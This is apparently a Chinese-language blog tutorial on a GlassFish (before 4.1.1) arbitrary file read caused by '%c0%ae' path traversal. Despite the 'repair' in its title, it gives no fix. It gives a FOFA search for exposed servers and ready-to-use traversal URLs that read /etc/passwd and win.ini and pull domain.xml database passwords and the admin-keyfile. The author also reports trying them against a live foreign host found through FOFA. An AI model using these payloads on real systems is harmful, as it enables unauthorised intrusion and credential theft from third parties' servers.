泽兴芝士网

一站式 IT 编程学习资源平台

glassfish任意文件读取漏洞(任意文件读取漏洞修复)

1.简介

GlassFish是一款强健的商业兼容应用服务器,达到产品级质量,可免费用于开发、部署和重新分发。开发者可以免费获得源代码,还可以对代码进行更改。

1.1.漏洞类型

任意文件读取:可以利用此漏洞读取到受害机的任意文件。

1.2.漏洞成因

GlassFish 漏洞成因: java语义中会把"%c0%ae"解析为"\uC0AE",最后转义为ASCCII字符的"."(点)。

1.3.语法搜索

FOFA:“GlassFish” && port=“4848”

1.4.影响版本

GlassFish< 4.1.1(不含 4.1.1)

2.漏洞复现

这里直接使用fofa语法进行搜索,这里是发现一个国外的地址,需要注意的是看版本,版本不要搞错了。

2.1.POC

Windows:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/windows/win.ini
Linux:/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

需要注意的是后面跟着的路径是有所不同的,比如Linux系统使用时的/ect/passwd而Windows则是/windows/win.ini。当然这个路径也可以替换,并非一定使用这个路径。

2.2.访问地址

https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/etc/passwd

2.3.GlassFish的敏感目录

domains/domain1/config/domain.xml 各种数据库密码位置
domains/domain1/config/admin-keyfile 后台密码存储位置

2.3.1.获取数据库密码

https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/domain.xml

2.3.2.获取GlassFish的后台密码

https://IP地址:端口/theme/META-INF/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/%c0%ae%c0%ae/domains/domain1/config/admin-keyfile

这里得出的密码是以sha256的密文加密的方式,需要在相关的平台进行解密,我找了半天也没找到相关的解密办法,同时也未解码成功。

2.4.POC脚本

脚本地址:POC脚本 GitHub -
everybelief/glassfish_poc: glassfish_poc

这个脚本用法上面都有介绍,我这边从fofa中找了几个手动测试了一下,以及使用脚本测试了一下,没搞懂,手动测试是存在的,但是脚本测试好像是没检测到。不知道是不是存在一些误差。

控制面板
您好,欢迎到访网站!
  查看权限
网站分类
最新留言